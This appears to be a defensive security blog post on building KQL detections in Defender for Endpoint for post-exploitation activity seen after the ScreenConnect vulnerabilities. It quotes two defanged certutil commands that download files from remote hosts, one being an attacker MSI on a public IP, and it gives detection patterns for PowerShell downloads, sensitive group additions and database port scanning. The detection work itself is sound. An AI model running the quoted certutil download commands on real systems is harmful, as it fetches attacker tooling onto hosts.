Detecting Post-Exploitation Behaviour

The recent ScreenConnect vulnerability (CVE-2024-1709 & CVE-2024-1708) showed once more why it is so important to detect post-exploitation behaviour. @Huntress described in a detailed way which behaviour was identified, more on that is shared on their blog: SlashAndGrab: ScreenConnect Post-Exploitation in the Wild (CVE-2024-1709 & CVE-2024-1708). The most important takeaway is mentioned in the last section most of the post-compromise activities we have documented in this article aren’t novel, original, or outstanding. This sentence forms the basis for this blog. Threat Actors ask the following questions after exploitation:

  • Where am I?
  • What permissions do I have?
  • How can I get access to my hacking tools?

All KQL queries mentioned in this blog and other related are listed in the related queries section.

Detecting Sensitive Group Additions

Evaluate Security Solutions

The main question that you should ask when reading similar DFIR reports is is this behaviour detected in my environment? If the answer is NO you have work to do! But how do we know if this behaviour is detected? That is a simple answer: testing. This part sounds simple but can be hard since you need a testing environment. The next stage is to run the found behaviour as mentioned in the DFIR report in your environment (be aware if you run the explicit commands, you will download malicious content!!!). For techniques that are not explicitly mentioned in Threat Intelligence reports, or if you want to test a different approach, Atomic Red Team can help you. Atomic Red Team is an open-source library of tests that security teams can use to simulate MITRE ATT&CK techniques and with that adversarial activity.

The post-exploitation commands as mentioned by Huntress did result in multiple alerts (I did not run all the commands). Job done, right? That depends on your risk appetite, Defender For Endpoint is a black-box SaaS solution when it comes to out-of-the-box detections, thus there will be no guarantee that this detection will also trigger the next time these activities are performed in this sequence. For custom detection this is different, you know when they run, what they detect and most importantly they will detect the same behaviour over and over again.

Defender For Endpoint Detections

Building Detections

Before you start writing any line of code for your detection it is important to have a peek at the Pyramid of Pain. The report mentioned domains, IP addresses, Files and Hashes but all of those are low-hanging fruit for detection, they can be changed so easily that they do not offer a long-term detection solution. Luckily the report contains very valuable information on the tools & TTPs that the threat actors use. The TTPs are most valuable to know how they operate since they are tool-independent.

Pyramid of Pain by David Bianco

Detection Logic The detections in the blog are KQL based, but the logic of these detections can be translated to other platforms.

Certutil Remote Download

On multiple occasions, the Living of the Land Binary Certutil.exe, which is a binary used for handling certificates, is mentioned as an abused tool. Mapping this to the Pyramid of Pain would result in the tool Certutil being used and the related TTP is a remote file download. Two examples of this behaviour are shown below.


certutil.exe -urlcache -split -f http://7-zip[.]org/a/7z1604-x64.exe 7zip.exe
certutil  -urlcache -f http[:]//23.26.137[.]225:8084/msappdata.msi c:\mpyutd.msi

Sources: Huntress & LOLBAS Project

Based on the examples detections can be crafted. Since it is related to remote downloads via the commandline two tables can be used for the detection, DeviceProcessEvents or DeviceNetworkEvents. The logic in both detections is similar, first filtering on processes/connections started by Certutil, thereafter the commandline must contain HTTP (thus will also trigger for HTTPS), urlcache in combination with -f for the remote download. The -f parameter fetches the specific URL and thereby updates the cache. In this case, has_any() is used because the commandline should contain those 3 parameters, but the order can be different.

Query Process Based:

| where FileName == "certutil.exe"
| where tolower(ProcessCommandLine) has_all ("http", "urlcache", "-f")
| project-reorder Timestamp, ProcessCommandLine, FileName, InitiatingProcessAccountUpn

Network Process Based:

| where InitiatingProcessFileName == "certutil.exe"
| where tolower(InitiatingProcessCommandLine) has_all ("http", "urlcache", "-f")
| project-reorder Timestamp, InitiatingProcessCommandLine, InitiatingProcessFileName, InitiatingProcessAccountUpn

Tool download via Invoke-Webrequest

Another tool that can be leveraged by adversaries to remotely download files is PowerShell. Adversaries may abuse PowerShell commands and scripts for execution or in the case of ScreenConnect post-exploitation activities to collect their tools. The function Invoke-Webrequest is in that case abused to remotely download the script to the local file system.

Oversimplified the detection that can be used is:

| where InitiatingProcessCommandLine has "Invoke-Webrequest"

This works, but you probably get a lot of results. Thus the query is equipped with filtering options to tweak it a bit to your environment. Since the network request originating from Invoke-Webrequest can be expected for certain workloads in your environment an additional filter is added, to for example only alert on servers if this behaviour is found. Furthermore, a different filter can be leveraged, this filter only shows the Invoke-Webrequest in combination with an IPv4 in the InitiatingProcessCommandLine. Most of the benign activities will go to a URL/Domain instead of downloading it directly from a folder on an IPv4. The finetuning of this (and others) should be done based on the baseline of your environment.

let IPRegex = '[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}';
let AllowedDomains = dynamic(['']);
let Servers = DeviceInfo
    | where Timestamp > ago(30d)
    | summarize arg_max(Timestamp, *) by DeviceId
    | where DeviceType == "Server"
    | distinct DeviceId;
| where InitiatingProcessCommandLine has "Invoke-Webrequest"
| extend CommandLineIpv4 = extract(IPRegex, 0, InitiatingProcessCommandLine)
// If you only want to filter on Invoke-Webrequest that retrieves information direct from IPv4 addresses
//| where isnotempty(CommandLineIpv4)
| where not(RemoteUrl in (AllowedDomains))
| where ActionType == "ConnectionSuccess"
// Filter line below if you also want to return private requests
| where RemoteIPType == "Public"
// If you only want to include servers in this detection use line below
//| where DeviceId in (Servers)
| project-reorder Timestamp, InitiatingProcessCommandLine, RemoteUrl, ActionType, CommandLineIpv4

Sensitive Group Addition

Once threat actors know what permissions they have, they might need to elevate them since the current ones are not permissive enough. The example seen in the case of ScreenConnect is related to sensitive group additions of users from the commandline.

Detecting Sensitive Group Additions

This behaviour can be translated to a KQL query to hunt for similar activities. Add the custom sensitive groups that you have in your Active Directory environment to the SensitiveGroupName list to make the detection more complete. This query detects when multiple sensitive group additions have been initiated from the commandline within a certain timeframe. This timeframe can be configured using the BinTimeFrame variable. The AlertThreshold can be used to tweak the detection to meet a certain threshold that you want to aim for, if this behaviour is not normal in your environment the threshold should be set to 1.

let BinTimeFrame = 1h;
let AlertThreshold = 3;
// Source Sensitive Groups:
let SensitiveGroupName = pack_array(  // Declare Sensitive Group names. Add any groups that you manually tagged as sensitive
    'Account Operators',
    'Domain Admins',
    'Backup Operators',
    'Domain Controllers',
    'Enterprise Admins',
    'Enterprise Read-only Domain Controllers',
    'Group Policy Creator Owners',
    'Incoming Forest Trust Builders',
    'Microsoft Exchange Servers',
    'Network Configuration Operators',
    'Print Operators',
    'Read-only Domain Controllers',
    'Schema Admins',
    'Server Operators'
| where FileName in ("net.exe", "net1.exe")
| where ProcessCommandLine has_all ("add", "group")
| extend GroupIsSentitive = iff(ProcessCommandLine has_any (SensitiveGroupName), 1, 0)
| summarize TotalCommands = dcount(ProcessCommandLine), ExecutedCommands = make_set(ProcessCommandLine), arg_max(Timestamp, *) by DeviceName, bin(Timestamp, BinTimeFrame)
| where TotalCommands >= AlertThreshold

Defender For Identity TIP! If you have MDI Configure Sensitive Groups, do not only use default groups but more importantly your important groups. Link to DOCS

Database Discovery

Once the adversary has established a foothold in your network, they want to gather valuable information, and access to your crown jewels as the ultimate goal. This reconnaissance phase is performed after persistence is established. Databases are of particular interest to adversaries because they often contain sensitive data, which is valuable for exfiltration/encryption. The detection below uses a subset of default ports that are used by a variety of database applications. The threshold in the detection can be adjusted to fill your needs. Additionally, there is a list of benign devices that are allowed to connect to multiple database servers such as the database management server. This will result in a behaviour-based detection to identify hosts that suddenly scan for multiple open database ports.

The database ports defined in the query:

  • 1433: MSSQL
  • 1434: MSSQL
  • 1583: Pervasive SQL
  • 3050: Firebird & Interbase
  • 3306: MySQL
  • 3351: Pervasive SQL
  • 5432: PostgreSQL
let DatabasePorts = dynamic([1433, 1434, 1583, 3050, 3306, 3351, 5432]);
// Device List with devices that perform benign connections to SQL machines
let BenignDeviceList = dynamic(['DeviceName1']);
// Threshold for the number of unique connections
let AlertThreshold = 10;
| where Timestamp > ago(24h)
// Filter Database ports
| where RemotePort in (DatabasePorts)
// Filter Benign Devices
| where not(DeviceName in~(BenignDeviceList))
// Summarize results and get statistics
| summarize TotalIPsAccessed = dcount(RemoteIP), IPList = make_set(RemoteIP), PortList =  make_set(RemotePort), arg_max(Timestamp, *) by DeviceId, bin(Timestamp, 1h)
| where TotalIPsAccessed >= AlertThreshold
| project DeviceName, Timestamp, TotalIPsAccessed, IPList, PortList

Mentioned in this blog:


A complete overview of mapped detections to MITRE ATT&CK can be found here.


There is no one-size-fits-all when it comes to detection engineering, thus tweaking the detections to your environment is a must. Take the baseline of the environment into account when tweaking detections. As an example for the KQL query for multiple sensitive group additions from the commandline, if this is not standard behaviour in your environment the threshold can be set to 1. If it is common behaviour first try to filter the account that normally assigns the permissions to the account instead of increasing the threshold for all devices/users. The aggregation function summarize can be used to get a quick overview of which entity triggers the behaviour normally | summarize Total = count() by DeviceName.


Detecting threats is the first step, but now you know there might be a threat you need to mitigate it. This can be done in multiple ways depending on your organisation; Internal (Security) Team, MSSP or potentially using your incident response retainer. There is some documentation to help you respond to security incidents or create the process to do so:

  1. Navigating the Maze of Incident Response
  2. MS DART Incident Response Playbooks
  3. Computer Security Incident Handling Guide

Questions? Feel free to reach out to me on any of my socials.